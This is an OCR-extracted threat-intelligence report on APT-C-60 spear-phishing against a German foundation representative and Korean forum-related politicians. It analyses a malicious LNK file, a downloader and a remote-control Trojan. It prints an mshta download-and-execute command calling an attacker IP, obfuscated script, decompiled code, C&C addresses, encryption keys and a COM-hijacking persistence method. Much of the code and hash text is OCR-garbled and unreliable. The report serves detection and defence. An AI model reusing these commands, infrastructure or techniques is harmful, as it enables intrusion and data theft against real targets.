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APT-C-60 is disclosed by domestic security vendors in 2021. It is reported that the earliest
attack time can be traced back to 2018 and the attack targets human resources and trade-
related institutions including China. Recent monitoring by ThreatBook Intelligence Research
and Response Team found that the Group has been active since December 2021. In June
this year, the Group launched targeted attacks on targets in S. Korea. With analysis of the
attacks, the findings are as follows:

e The targets of this batch of attacks include Dr. Bernhard Seliger, the representative of
the Hanns Seidel Stiftung, and politicians who may be related to the 2022 Pyeong
Chang Peace Forum.

o Two time nodes of this attack: attack on the politicians related to the 2022 Pyeong
Chang Peace Forum in early February 2022; targeted attack on Dr. Bernhard Seliger in
mid-June 2022. Both are spear-mail type attacks.

o The network assets used by attacker for payload hosting attack and C&C
communication include public free cloud storage sites (such as bitbucket.org,
statcounter.com) and attacker private C&C assets. Trojan back link address is to
involve multiple url addresses of these two types.
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o ThreatBook extracts multiple related I0Cs though the traceability analysis of related
samples, IPS, and domain names, which can be used for threat intelligence detection.
TDP, TIP, API, OneDNS, OneEDR of ThreatBook have all supported the detection of
this attack activity and group.

Details

On June 20, 2022, the spear-mail delivered to seliger@hss.de is as follows. The attacker
pretended it to be a Korean graduate student’s thesis defense to induce the target person to
download malicious files hosted on cloud.mail.ru.

ire requesting related ion with North Korea - 884% (HTML)

2022/6/20 (=) 16:30

YS  Yura Sung <yura_sung@mail.ru>
Questionnaire requesting related to Cooperation with North Korea

HA  Seliger@hss.de A

Dear Seliger,

My name is yura sung and a graduate students at Hankuk University of Foreign Studies in Korea, majoring in GSIAS

I am writing to ask you if it is possible for an email interview with you for my thesis

The subject of my thesis is 'Exploring ways to cooperate with North Korea'.

I'm listening to the opinions of experts on the subject. I know you are wvery busy, but if you happen to have time, I'd appreciate it

/ /TCU4 ).

if you respond and answer my questions(

Thank you & Best regards

Yura Sung

¥ura sung@mail, ry
FEREFIE,

Flyura sung, FEFEIMNEIEAFATE, TIEGSIAS

RSS2 aREE UG Bk SR TR M mit.

BRANC TR "RESHEEAFRAR" .

RIFIFESRWILFAAOEN., BNEERC, (BRNPSRISEE, WRERSHOIERNEE, g
ABEESA (https://cloud.mail.ru/public/JCUj/jRprg5akR) .

The downloaded file is a rar compressed file, containing bait file and malicious Ink files. The
bait files related to the thesis are as follows (The Chinese environment of the office causes
the Korean to display abnormally).
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Yura Sung-BNE (MEH)

According to the machine ID in the Lnk file attribute information: desktop-iag9k61, we also
found attack on the early stage of the Pyeong Chang Peace Forum in February 2022 by

APT-C-60. The bait file used is as follows.

§ L4

3/24



2022 llulrllug:_rﬁl:l

PYEONGCHAN
PEACE FORUM 2022

Peace, Here and Now! &8, g = fegse

February 22 Tue = 24/, 2022
Al s Cari et Codldi
Fpeorglonrg Garfgman lofull.-:-ﬂ'lﬁuu

- : !_
~. %
— e g -----'3==I__

10 Jareary, 2022

Dar all,

| ihope vhis leter fings youw in your best heaith and gpenis

A you may necall Pyeong Cha ng hosted the 2018 Glyvmnpic and Pamalymipic Wirse r Games [Pyeong Chang 2018),
which wene enthusiastically received by many people around the world

PyeongChang 2018 not only achieved success as international sporting events but aiso made meani ngha

coniyi butions to the establivhment of peace. As part of our continued efforts, Gangwon Province snd Pyeong Crang
Oty lpunchard tha Pygonglhang Pepce Forum pad the Lepady founcatan is in charge of orpanizing the forum o
relive the greatest moment of the Games, the peaceful atmosphere created on the Korean Peninsula, and to
Eapangd it b5 8 peble IEgacy

Az PyeongCrang Pesce Fonam 2027 (Febnany 22-24, 2012 | PyeangChrang Alpensis Comvention oenter, Kores) we
willl ey SVENTE TOpICH Bnd IEFURS BROOMPALIENG The role of SPOrTS with S ey POIng Bpenda © eConamy IpOITS,
DMZ Pesce Zone, UNW SDGs, and prace public & plomacy. Under ico slogan of “Peace. Hene and Now T, the
irmernaticnal Torum will identily mew challenges and op porunities in achied ng peace on the Konean Penissuls and
brirg sopether world bea ders, pence builders and partici pasts from all over the wond in Gangwon Province, the
wiorld's only divided proinge

It i with our grest pheadune £O Evine you 5 NTIendenoE 1o the Pyeong Chang Peace Fonam, | DeSee your phes ence
g shae the Experience will help of realine che Spor ideals pnd oreate & Listng legacy

We look Tofwand 10 welComing you again 0o Genfean Provinoe Thil Febrary

‘SAnCEnElY yours,
~Freonse] ,ﬁﬁvﬁﬁl {?ﬁgfiff
-
CHOI Moonpoom Govermee Hmwmp RYL Seung-min
of Gangwon Province President of

Fplmdl'l ity PyecagChang 1015 Lagecy
Fourdation

2022 F BHIFiGingis

In the two attacks, the bitbucket.org site used for payload hosting and file uploading
included user IDs: grand9_neat, Miravos, sorakas. Storage files related to the current
attack have been deleted.
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http://bitbucket.org/

= C {t & bitbucketorg/grandd neat/well/downlcads/Ttab=downloads
o Bitbucket
wiell € grand9_neat [ grand3_neat [ well
Downloads
¢{» Source
& Commits @ For large uploads. we recommend using the API. Get instructions
b Branches Downloads Tags Branches
fo  Pull requests
MName Size Uploaded by
O prEe Download repositorny 62.9 KB
@ Deployments
0 Jira issues
m Security
E Downloads
C {t @ bitbucketorg/miravos/
o Bitbucket
E miravo i
Repositories
[ Repositories
Search repositories Q Privacy Language
[J Projects
Repository Deseription
i style
Untitled project
&« C (O & bitbucketorg/sorakas/workspace/repositories
' Bitbucket
E sorakas aixakes
Repositories
@ Repaositories
Search repositories Q Privacy ~ Language
[0 Projects
Repositery Description
. mod

Untitled project

Sample Analysis

= A W

Q Search

Downloads Date
B =
Q Search
Updated ~
2019-12-06
& =

Q. Search

Updated +

2015-12-08

The payload execution process in the attack is as follows. Starting from the downloaded
compressed file, the persistence payload is to be divided into three parts: Lnk file with
malicious download, downloader Trojan (mssysmon.db) with file information acquisition and
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download execution, remote-control Trojan (TaskControler.dll) with file stealing, plug-in
loading, and shell function. Subsequent sections are to analyze the three types of
components.

i
|

ClC

o

m
{11}
A

SIS TENTEE) R CACHET
bitbucket.org,
cstatcountercom......
V
I‘:
il
md echo | mshta H : i
‘;;r np/fB2.221 E #l&{'“lﬁﬁ R
'[-‘T- SHTIN, AES:
TR O E % : _b| T (exe\dilps1) |
......... - —_— - —_—
> g Is
Tiibmp\ LA Ele _'}| diacien |
by Rt
Malware Ink Ncor F'ﬁ l"'-..!.:_d )_} »—‘-Al‘
COMmpress (n 3&; MDLL] TRRIT
—'——C"| AR |
L IREE
[E msiobj0/taskControler = | STFHRE |
(nB6/=64DLL)

Malware Lnk

Taking “Online questionnaire-Exploring ways to cooperate with North Korea.docx.Ink” as an
example, the sample information is as follows.

File name Online questionnaire-Exploring ways to cooperate with North Korea.doex Ink
MDS35 dea29275149471685636£a063e574d57

SHA1 1a228bac4cb8c7ccob619e07209632635b9588ab

SHA256 bffacbb0b54a3bldd6£25686d2486d0a06415e8eedetbde572740f7b63 badfad
File type Windows shortcut

File size 1.75 KB (1794 bytes)

Desenption | Download and execute http://82.221.129.104/k0201.txt resources.

The command-line of Lnk file is as follows. Call mshta to execute remote javascript.
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01B0h:
01C0h:
01D0h:
QLEQR:
01F0R:
0200R:
0210h:
0220h:
0230h:
0240n:
0250n:
0260h:
02T0h:
0280R:
0290n: [ 0 D 64 00 ZE o0 78
02hOh: [aEle 0 * iy 00 00 21

C:\Windows\Syate

Lexne
1B0h CAWindows\System3Zemd.exe
320h desktop-iaqk6l
iﬁh 15PS0
BFh Windows.
117h Swhmiz
15Fh
1CFh m,u‘lln‘c “echa|set fp="meh®=\1&echo|set fp="ta hnp:jfﬂ?ﬂL':»\lmche 129.104/k0201.txt> =\ Lernd.ewe < \1*
2400 1%SystemRootit\system32\shell32.dIl
Py el [ESpoy ===
485h System32 (C:\Windows)
;?g: iﬂ:&:;::"‘ll3517143-3356331875—213m3335-1m1 T‘| 4. » Online gquestionnaire-Exploring ways to cooperate... - |‘?| I ¥ Online questionnaire-Explort.. P |
635h ication
§93h CAWindows\System32\cmd.exs WEHF)  WARE) RV TR MEmH)
8ie - E3 g7 =K~ BFes FlTas s~  ®
v s 2
s TE

oA @J‘l’uu Sung-ulf |ntrodudlor|wth C\l'].duu(

Javascript resource jumps through the html index code.

&« > C Y A F==|82221.129.104/k0201.txt

<html><script src=http://82.221.129. 104/k0201j0.txt><{f/script></html>

Obfuscated javascript code after the jump is as follows.
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This js code downloads the next-stage malicious resource from the C&C server , decrypts it

and then moves it to %appdata%\Microsoft\Internet Explorer\UserData\Temp\mssysmon

Prunction IMC_CHECE() (

.db.

wi
wi Wi 1

if (checkfine [) 1= )} i return; §

folder_location=xz (GetValusByArrayIndesx(” 1

folder_locationd= usByArsayIndex | 5012

chservar_url_3Zexz{ i 1 14 1 ') ://bitp 31 226 4. 27 imanager MYYTpETCENES 2G4 JH b
obeerver_url_$4=x: yArzayIindex( b

war _0x12323 0wt lushyAsrayIndex [ REL srnet Explorer\DserDatalque

war _Omtd i =* ) (folder_location) s

HakeFolder {_Ox1Z5

war T

_ox

war 220 [GetvalusByArrayIndex (* Ox4 '} ) Ixz (GetValusByArrayIndsx

war _Ox&d1goal” "] Ix2 (CotValueByAr ray Indeax i * 1 1\Usars

wvar _OxleldTi=xs (Gory rrayInde:| -

Hrite_Regi(

send_Cusryi_Ox1TSEIZ) :/
var _OmsddTat="";

A [ Om) THE N | N
alaal/ /xd
Af [GetValusByArcayIndex | } P==GetValueByArrayindex | 11
_Oxsd =FIND_F cbsery ERETHRESSHTFTRITM, “c:\Wweers\ns\Apphata\local\Micresaft \Mindows\Temporary Internat
Files\Con enT4TOF[1) . bmp®
¥
olmai

]

A£ [_OxSddTase=" "} {
AL TR t—CotValusByArrayindsx(’ I ifind_path=-find path(” at ("= 1Fh ]
olsa|roturn; )

]
SIZE_CHECKI_0xS5ddTa5,_0x212ebd):// bmp MBI NEC: \Users'nz \Applata\Roaning\Hicrosoft\Internet Explorer\UserData)\Tempinssysnon. db
tryl
if [GetValusByAscayIndox | § t==GatValusByArrayIndes ( £r 1) dreturmn 20
['MoveFolder ') [_0x125220, Ouwddifdal ;)
aafl{
uelyirraylindex ( “)lemtk Nl
¥ ND (subfal® item' ) () [GervalusByhrray Indsx | ) stofindnans) ;
}iraturn result_path;)
bolme {window [Got¥alusByhs sayindes | L]
]
window [GetValusByArrayIndes (" Oxd )10}
raturm

)
IMG_CHECE()

From the download file retrieval code, the existing default download file extensions include

“.dib”, “.bmp”. Currently C&C can only download bmp files.

Bfunction B_FIND(_0x1806d0, 0x50£a83)({

= try(
var _0x53d49d="";
var _0x30d141=_0x50fa83[GetValueByArrayIndex('0x4')] (xz('SC3ITSEZRETEREZ")) 2/ /" IxQpeSTInCnT4TUP(1] .dib"
var _UxS? ?ca4-_0x50fa83 [Get‘?alueByA:rayIndex( "0xd ') ] (xz({GetValueByArrayIndex ("0xZ0"))) ; .-"f".,'x(:p@ S5T2nCn747UP[1] .bmp™
var _0xSddb47=_0x50£fa83 [GetWalueByArrayIndex (' 0x4')] (xz(GetValueByArrayIndex('0x21"')})://"IxQpeST2nCnT74TUR[2] .dib™
var _OxSdedaf=_0x50fa83['concat’] (xz (GetValueByArrayIndex(' 2'31) /" TxQpeST2nCnT4TUR[2] .bmp™
var _0xS5ca63l=_ 0x50faB3[GetValueByArrayIndex('0=x4')] {xz("'5C B2AET 3')) S/ TxQpaST2nCnT4TURP[3] .dib"™
var _0x2f7alf=_0x50fa83[GetValueByArrayIndex('0x4')] (xz(GetValueByArrayIndex(’ "33} S TROpeSTZnCnT747UP[3] .bmp™
var _0Ox3afe9d4=fso[GetValueByArrayIndex('0x24")] {_0x180&d0) ;
var _0(xS5écftéf=new Enumerator ( Ox3afé94 [GetValueByArrayIndex('0=25"')]);

H for(:!_Ox56cfef[GetValueByArraylndex ('0x26')] () ;_OxSecief [GetValueByArrayIndex ("0x27")]1()){

@ if (GetValueByArrayIndex (' 0x29')===GetValueByArrayIndex (' 0x29'))({
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A T2

131.226.4.22/manager/JxQpeST2nCn747UP.bmp 1

By jacking the COM object whose CLSID is 603D3801-BD81-11d0-A3A5-00C04FD706EC,
the persistence of the landing Trojan is realized. The CLSID is bound to the service named
“shared task scheduler”, which is related to Windows scheduled tasks, and its registered dll

component is loaded when os starts.

war _On@12abd w1252
v OaZH1E95= Oxd 1400
wur il ol BTBern (et Weluabybar aelnden € 05T 1)

Wi t_Ba g DO0000001, 0w #1073, _OuiTSOOZ, Dt dl M, _DeZbINES):

snaBpirraplndaz ( Oxd’ )] dae

2and_ Guary (el TEER2)
var _(h5aHT.Ss
i £ B TS el [
o FEREEH
R RN R SERA R
bl
#- 4 CLSID
4} [802D3801-B081-1140-A3A5-0
InprocSenverd2
FarefinxHTML: J0EMEB0AFAIOCE

FirefosURL-308046B0ARAATE

mssysmon.db

aut” ] lxs GetVuluaByrroplades [ a5

5] (L)

REG_ST

T VBrersins U AgpDat el Rown g Wi e onoEt Tntarnet. Expl erer\arDataliqna”
"0 \Brarsins\AppDint sl Eoening i or ons £\ Intarnat. Explorar\UzarDats! Tang”
L]

"L Vs
“Sefrm
=mdefined
wdafined

TELTLLELE

o=

CAlUsers\mahAppDatat Roaming\Misrotoftirternet Explorer\UrerDats Tempmamyemon.db

Taking “mssysmon.db” as an example to analyze, the sample information is as follows.
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File name mssysmon.db

MD5 513842f50cd9237582bb8d5c35d11686

SHAL 0218bcab7311f0c75d916162e996d4a3c4706b1c

SHAZ56 ee862a3d57e45a2b29da%e74987016061e225df71a558c6a42f0819cc 7496664
File type Win32 DLL

File size 244 KB (250,368 types)

Compilation timestamp 2022/4/12, 16:32:.07

Description

http://185.207.206.108/premium/PL/HTBXTDQIHMI.bmp,
https.//bitbucket.org/grand9_neat/well/downloads/19132 bmp,
https.//bitbucket.org/grand9_neat/well/downloads/19164.bmp
http://162.222.214.50/temp/sourcea.php
https.//c.statcounter.com/12733057/0/f9b368f1/1/

User, host, C:\Program Files\information acquisition, download execution. C&C:

Analyze the landing mssysmon.db file, which is dll file, and the core function is provided by
tdstart export function. Before running Trojan, control the unique instance running by creating

an event object named “673304C7B2797C3676B6".

Decrypt the C&C configuration, which contains multiple URL address. The Trojan heartbeat

o wun Ii

=

BOOL sub 6B4468Fe()
{
WCHAR Name[21]; // [esp+18h] [ebp-CCh] BYREF
__ml128i v2[9]; // [esp+3Ah] [ebp-A2h] BYREF

qmemcpy (Name, L"673304C782797C3676B6", sizeof(Name))

memset_sub_6B44DEB@G(v2, @, @x9Eu);
CreateEventi(©, 0, 0, Name);
return GetlLastError() == 183;

interval is 6 hours.

-
¥
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qmerl'tcpy( & R 7864565764405642707F414E4540444C68785F54425E415C5A4962776C74761B4C606A77" » sizeof(via));
memset sub 6B44DESB@(v1>, @, @xFEu);

strdecrypt_sub_6B442A78(@, v1S, v28, @); // http://msn.com
strdecrypt_sub_6B442A7@(8, v16, v27, 8); /f https://google.com
strdecrypt_sub_6B442478(8, v29, v13, 8); // 8394MBYRRNK2EIRA
strdecrypt_sub_6B442A78(@, v26, v7, @); J/ http://f185.207.206.188/premium/P1
strdecrypt sub 6B442A78(@, v25, vB, @); // https://bitbucket.org/grand?_neat/well/downloads/19132.bmp
strdecrypt_sub_6B442A7@(e@, v24, v9, @); // https://bitbucket.org/grandd_neat/well/downloads/19164.bmp
strdecrypt_sub_6B442A7@(e, v3, vlil, @); f/ http://162.222.214.58/temp/sourcea.php
strdecrypt_sub 6B442A7@(0, v22, vi2, @); // https://c.statcounter.com/12733857/0/f9b868f1/1/
strdecrypt_sub_6B442A7@(0, v31, v20, @); lfuz-1
while ( 1)
{
v5 = sub_6B44AAGB(v2E); // http://msn. compe] i i )i
if (WS == -1}
vS = sub_6B44AAGR(v27); // https://google.combd & % il i
if (w5 1= -1)
1
strdecrypt_sub EBMZA?B(B vi4, vie, @); // \AppData\Roaming\Microsoft\HTML Help
sprintf_sub 534-44106( 6, 255, L"%s", vi@);:
sub_6B443B8@((int)ve, PathName); // GetEnvironmentVariableW(“userprofile™) + str
memset_sub_G6B44DES@(v30, @, @x64u);
sub_6B4546BE(PathName); /i BB, mppnata%\.‘u:rosoft\HTHL Help
sub_6B448610(8, @, v3, PathName, v3e, vi3, v5, vil, vi2, v28);// %Blc:\Program Files\*.*XERER
3 = vit+
4 = ub _6B443C5@(Pathliame, v8); // th#msiobje.dll
3 (14 )
V2 = 5ub _6B44353@(v5, PathName, v7, v38, v, u} // TE
sub_ﬁﬂuﬂﬁle( 4, v2, v3, PathName, v36, v13, v5, v1l, v12, v28);

dword_6B47C@53(21600000) ;
++03;
v = @;

The Trojan creates the %AppData%\Microsof\HTML Help directory as the directory for
subsequent plug-in distribution and log storage. The Trojan acquires the host name,
username, os version, and uses AEC encryption to send it to C&C server to go online. AES
key is “8394M8YRRNK2EJRA” in the previous decryption configuration file.

38| memset_sub_GB44DEB@(v12, @, @x1Fdu);

39| memset_sub_ GB44DEBR(vO, 8, @x1F4u);:

e AEs_decrypt_sub_ss«:we(u:., vie, a4, @);

11| strdecrypt_sub_6B442478(1, w13, @, (int)vis);

2| strdecrypt_sub_6B442478(1, v 'B, ( nt )-- );

43| strdecrypt_sub_6B442a70(1, (_'-r *)vis, @, (int)vi7);

44| sub_BB44AAZR( // User-Agent: myagent..Referer:>1.91>U2-1>56_806d_80h>Ep/hRE4SF_Xpy.[»wsl-<gsff785 Ar|>H &3 \MEJ2

 TEEREREXR]

va,
46 "Es\rinksksXsksXshsXsksXsks",
v15,

a9 >

~ &
[

am
¥
>

w
o

[ N

n b )

2
55 b b
56 {const char *)via,
57 AT AT ATAY T H
@ 58 8 = @;
@58 if ( a1 )
5

® 61 for (1 =8; 4 < 3; +i )

[ ]
oo
u

dword_6B47CR58(18); £/ sleep
@ 64 vE = dword_6B47Ce78(al, a2, va, -1, @, @);// InternetOpenUrlA, http://162.222.214,50/temp/ sourcesa. php
® 55 if { vB )

Traverse c:\Program Files\ directory, acquire file directory information, and send it to the C&C

h_ttps://c.statcounter.com/ 12733057/0/f9b868f1/1/.
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183 strdecrypt_sub_6B44247@(1, (__intle *)ves, @

B 184 sub_6B442400(v55, 20, "¥sXsXO3d¥sHO2d%s", "d_", 6 * a3 ¥ 24, (const char *)L"h");// Sé_geed_eeh
185 C_CConect_sub_6B44AD70(v5@, (int)vEs, (int)v £ 87); 7 http //162.222.214. SB;t:mpfscu"cza php
186 C_CConect_sub_6B44ADT7O(v58, (int)vES, (int)vE 38, vB7);// https://c.statcounter.com/12733057/@/f9b868F1/1/
187 }
188| if ( vse )
189 {
198 2 = dword_6B47Ce6C;
191 dword_6847C86C(v50); /f wininet.InternetCloseHandle
192
193] strdecrypt_sub_6B442A78(@, v62, (int)vB4, @); // ‘objects.log

194| sprintf_sub 68444103(( nt)vss, 255 (i 1f)L Xs¥s", a4, vdd);// C:\Usersihelloworld\AppData\Roaming\Microsoft\HTML Help\objects.log
195| if ( sub_6B453568(v53, 8) != -1 )

196 return a;
197 wi3 = 8;
198| w49 = 1;
199 w44 = @;

¥ 288| memset_sub_GB44DESB(vEE, @, @x12Cu);
201 sprintf_sub_6B444108((int)v75, 308, (int)unk_6B46D680);
282| memset_sub_6B44DESE(v74, @, @x12Cu);
283 strdecrypt_sub_6B442A7e(@, v54, (int)vB4, 8); // c:\Program Files\*.*

2 :: = dwr-d _6B47C87C;

2 ndFil (M '[‘ ‘)duord 6B47CO7C{vE4, BFindFileData);// FindFirstFilew
286 1‘F ( -'-'-'_“.'.:-'_'.-:- != (HANDLE)-1 )

207 {

288 strdecrypt_sub_6B8442A70(0, vee, (int)vss, @);// (Program Files)

289 sprintf_sub BBMlDG(( j 74, 380, (int)va4);

Cat_sub_sB4a4p2B0(\7 74, V8@, vB2, vB83);

211 do

13 if ( (FindFileData.dwFileAttributes & ex1@) != @ )

215 sprintf_sub_6B4441D@((int)v74, 268, {int )L"‘\sis%s 2 L7[", FindFileData.cFileName, L™]");
216 v44 = Cat sub 6Ba4B2B@(v75, V74, vde, va2, vE3);

Traverse the %AppData%\Microsoft\HTML Help directory, delete the .mui file and load
msiobj.dll file. If the msiobj.dll file does not exist, then download it again. The download
address includes: http://185.207.206.108/premium/P1/HTBXTDQJJHMI.bmp,
https://bitbucket.org/grand9_neat/well/downloads/19132.bmp,
https://bitbucket.org/grand9_neat/well/downloads/19164.bmp.
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strdecrypt_sub_6B442A70(@, v3@, (int)v2s, @);// \msiobjs.mui
sprintf_sub_6B4441D0((int)ExistingFileName, 255, (int)L"¥s¥s", a2, v28);
strdecrypt_sub_6B442A70(@, v32, (int)v2s, @);// \msiobjs.dll
sprintf_sub_6B4441D0((int)NewFileName, 255, (int)L"¥s%s", a2, v28);
if ( !sub_6B453568(ExistingFileName, @) )
sub_6B453768(ExistingFileName);
if ( sub_6B44ACS0(&v17, &v18, al, (int)&v23[75 * v9]) == 1 )// ping
{
memset_sub_6B44DEB0(&v29, @, €x100u);
InternetReadFile_dword_6B47C@68(v13, &v29, 2, &v22);
vie = v22;

if ( v29.m128i_ul6[@] != @x4D42 )

if ( vi8 )
dword_6B47C86C(v18);
continue;

}

InternetReadFile_dword_6B47C@68(v15, &v19, 4, &v22);
vil = v22 + v19;

InternetReadFile_dword_6B47C068(v13, &v29, 50, &v22);
vi2 = v22 + vil;

InternetReadFile_dword_6B47C068(v18, &v20, 4, &v22);
vi3 = v22 + v12;

InternetReadFile_dword_6B47Ce68(v1s, &v29, 4, &v22);
vid = v22 + v13;

InternetReadFile_dword_6B47C068(v18, &v29, 256, &v22);

The loading logic in the %AppData%\Microsoft\HTML Help directory is as follows. Rename
the downloaded and decrypted msiobjs.dll to msiobj0.dll, and then load and call
msiobj0.dII'ExtFunc. if it fails, change the dlIl extension to mui, and delete the mui file.
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54| u-de:rypt ub samzwew c
| sprintf_sub_6B444106( (1
| strdecrypt_sub_6B442A70(8, (
| sprintf_sub EBm‘DE([ t)vl
58| strdecrypt_sub_6B442A78(8, (
sub_6B444048( 2 -)
if ( fsub 63453563(

sub_6B453721(8v18, (int)Exist

sub_6B453862(v18, 8, 2);

= sub_6B454209(.18);
if ( )
sub_6B453807(v10);
if ( V7 <= Bx2000 )
{

sub_6B453768 (HewFiletiane);

else
{
sub_GB4S363E(Ex
memset_sub_GBA4DEB(
= dword_EB47C050;

le = (HMODULE)dword_6B47C068(Ns

iF le )

strdecrypt_sub_&B44247@(1,
= (void (*)(void))GetPro
)

= dword_6B47C858;
dword_6B47CRSE(1000) ;
sub_GB453E3E(ler
if ( heied )
return 1;

}

| return @G

102[}

s 255, (int)L"Xs¥s¥d¥s™, al, v22, a 14);// Ci\Users)

; 8, BxCBu);

26, (int)via, @);// .dll
e, 255, (int)L"%s¥sXd¥s™, al, v22, 82, vi4);/f
Jv23, (int)vid, @):// .mui
Jv2a, (int J--,@}, / *.mui
A BEEHTL Help\B R TAY . mud 3T
, @) )

» (Int)L7r7)5

e);// msiobjs.dll ->msiobje.dll
sme )3 // LoadLibraryl

16, @, (int} Hame) ;

chddress ( dule, Name);// msiobj@.dl1!ExtFunc

TaskControler.dll

C:\wsers\helloworld\AppData\Roaming\Mic

helloworld\AppData'\Roasing\MicrosofthHTML

rosoft\HTHML Help\msiobje.dll

Helpymsiobjo.mui

Taking “TaskControler.dll” as an example to analyze, the sample information is as follows.

File name TaskControler.dll

MD5 eff80f0a757f1298fb11e51480a30503

SHA1 ealcf/8ceZadb228del2cd79f166312a174d050d

SHAZ56 Tec34297e0cdebblbb315be?24d7259211ab658112dc0f9d6d 7271544872440

File type Wing4 DLL

File size 289.00 KB (295936 bytes)

Compilation timestamp 2021:11:29 04:57:32+00:00

Description The remote—control Trc_:ian_ that provida_es functions such gs downloading._ plug-
in loading, screen monitoring, file stealing and shell.C&C: 160.20.147.118:80

The Trojan is a 64-bit dll component developed by C++. TaskControler.dll'lextension provides

core function.
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B =2 2OEE Uansx

A0S it
000000018001 « £98 l_ 0000000160000000 [Pq'-_‘;‘.n,gl__!ﬁ

E& -1
iR

IHHREA  Task Controler

=E R R

WHEEZ 31101

FRER  Microsoft Windows Task
EREE  3.0.134781

Rt Microsoft Corporation. All rights reserved.

=8
Fih 289 KB 'b .-
fEMEM  2022/6/23 15:04 3 Characteristics
11 EEEME) 23 TimeDateStamp
FEsriEE TaskControler.dil 2 MajorVersion

MinorVersion 0
Name .. 00045044
Base - .. DODOO0O01
HEADERS NumberOffunctions ... W... 00000006
E HEADER
TIONAL HEADER
RrH‘rIE\:AGE_DIRE[_TC]RY_ENTR.IES d&ir RVA Name
FACH Shek .. 000... 000...
it

I - -

BEeEEn A Ee B ication@@YAHXZ

In the initialization phase of the C++ object, start “83a078f58a078f7a88f37g0gf8a873a8” to
perform the “xor 2 -1” operation to obtain the RC4 key
“90b149c69b149c4b99c04d1dc9b940b9”, which is to be used for the encryption and
decryption of the communication field in the subsequent C&C communication.

memcp_sub_7FEF@DB214@(v2 + 128, "83a878f58a878f7as8f37gegfaad73a8", @x20uibd);

if ( v2[131]

“»

»= @x18uisd )

4 = @;
v5 = -1i64;
do
L EH
while ( *(v3 + v3) };
if (vs>0)
ey
do
{
*E m (*vE A 2) - 1; // 832878f582078f7288F37gegf5a873a8 11218 Bl98b149c69b149c4b99cB4d1dcIDI4BLI r BIRCS key
FHud;
L LH
vi = -1i64;
do
+Hv7;
while { *(v3 + v7) );
}
while { v4 < v7 );
}
memset(v2 + 64, 8, @xleBuisd);
RC4Tnit_sub_7FEF@DCABSE(v2); /f RCATEIRRAIAIL
memset((al + 1136}, @, ex2eeuiss);
*(21 + 1664) = 9i64;
*(a1 + 1672) = 15i64;
*(al + 1648) = @;

Before running the Trojan, control the unique instance running by using the mutex
“OABKD3409ABACL6SGHDG404HNJO”.

SAE | .. 000.. D0C.. ??4CApplicatio EAAAEAVO@AEBVO@@E
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SR
qword_7FEF@E@252@ = qword_7FEFBDF87B3(Ri64, 0ie4, v9);// createmutex "9ABKD34@9ABACLESGHDG4@4HNIO"
if ( GetLastError() == 8xB7 )

{
if (vi5 < 8 )
return @i64;
vie = vi3[e];
if (2 * vi5 + 2 < ox1ee8 || (vie = *(vi3[e] - 1), (vi3[e] - vie - 8) <= @x1F) )

j_j_free(vie);

return @i64;

}

Open the %AppData%\Roaming\Microsoft\Vault\UserProfileRoamings directory. If it does not
exist, create the directory and set it to be hidden.

push_sub_7FEFODC3A30(vo6, Sqword 7FEFRDFE3ES):// L"Xappdata¥\\Microsoft\\Wault\\UserProfileRoamings™

if (o

»
>= B )
vi = ®va6;
ExpandEnvironmentStringsi_qword_7FEFEDFEEEB(vE, ::5rc, 260i64);// ExpandEnvironsentStringsi
9 = =1iB4;
do
#4095
while ( 1:src[vs] );
push_sub_7FEF@DBLFDR(va6, ::5rc, vi);
wkdir_sub_7FEFEDCSS38(v16, vI6); /f BERER, XappData¥\Roaming\Microsoft\Vault\UserProfileRoamings
vil = w553
if (w97 3= 8
SetFileattributesi_qword_7FEF@DFSa18(v11, 2i64);// REBERNME )
LoadPlugins_sub_TFEFEDB1320(qword_JFEFRDFD@4D, Sunk_7FEF@DFE488, v96);// MOSEIRTTEAppData%\Roaming\Microsoft\Vault\WserProfileRoamings BH TMpe T FMpowershell
decrypt_sub_7FEF@DC7490(qword_JFEF@DF8L1AB, viea);//f WECEC, 1608.20.147.118
v12 = push_sub_7FEFRDC3A3R(vE4, viBE);

After that, the Trojan traverses the
%AppData%\Roaming\Microsoft\Vault\UserProfileRoamings directory , and runs the attack
payload in this directory according to the file extension.

(*(void (_fastcall **)(_ int128 ®, _ int64))(al + 1432))(v16, 2i64);// SetFileAttributesH
if ( vel.m128i_isa[e] )

26 = vil.m128i_ieaf[@] - 4;

if ( v6l.m128i ie4[@] < (unsigned _ int84)(v6l.ml28i ie4[8] - 4) )
goto LABEL_186;

vl = (__intl28 *)8ve0;

if ( v51.w1281_i64[1] >= Buis4 )
val = (_ int128 *)vee.m128i_iss[e]:

v17 = 4164

viE = {_ intéd)L".exe";

w19 = (_ int64)v2l + 2 * w20 - (_QWORD)vS1;

while ( *(_WORD *)(v19 + v18) == *(_WORD *)v18 )

V1E 4= 2164;
1f ( 1-=vi7 )

LODWORD(vEG[@8]) = 104;

HIDWORD(v67) = 257;

LOWORD(vES) = @8;

va2 = (__int128 *)Bvee;

if ( v61.m128i_is4[1] »>= Buis4 )
w22 = (_ intl28 *)vee.ml281 is4[8];

(*(vold (_ festcall **)(_QWORD, _ intl28 *, _(WORD, _QWORD, int, int, _QWORD, _QWORD, _ int128 *, _ intl28 *))(al + 1552})(// CreateProcessH
@isa,

eis4,
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Extension Operation

.exe CreateProcessW executes the EXE file.

.dat Powershell payload, start the powershell process to execute the .dat
.db DLL payload, load and run oadLibrary.

.ext DLL payload, load LoadLibrary and call “extension” export function.

Acquire information of host and user into the core Trojan work logic. When it is detected and
judged that the system has been started for more than 6 hours, the main thread is to go

online with C&C, set a ten-minute heartbeat interval, and schedule working thread by event
object signals.

= im_sub_TFEFDB4848({a1); ¢ Iiesdd
if 3

{
while ( 1)
{

[2] = eiss;

= 15164;
LOBYTE(v12[8]) = @;

[2] = pige;

- 15864;
LOBYTE(vE[@]) = @;
memcp_sub_7TEEFOOB2148(vE, "uid”, 3uisd);
Cat_sub_7FEFRDCBBOR(v3, v1e, (a1 + 16160), (sl + 16192), v3, (al + 16224));// "ae0L-85b04efdb6112465b0588c60214d3canhato2=52929307433d1a10309188ca0b 3059988000 3=u 1 dEs004=NE1X"
if { w9 = Bx10 )

[e];
if + 1 = Bx1000 )
{
= *(va[e] - 8);
if ( vafe] - - B » @xIF )
invalid_paraseter_noinfo_noreturn{);

_i_free(va)s

post_sub_TEEFROCELTA(a1 + @xldesd, . vi2);:
(*(al + Bx920))("(al + Bx3IFCE)); J/ SetEvent
(*(s1 #+ @x920))(*(s1 + Bx3FD8));
(& + ex920) ) (™( + @x3Fpa));
if ( *(a1 + ex3EFE) ER (“(a1 + @xE10))() - (0l + Ex3EFC) > 21600009 )// GetTickCount, MEFRIZRE Bihiide i
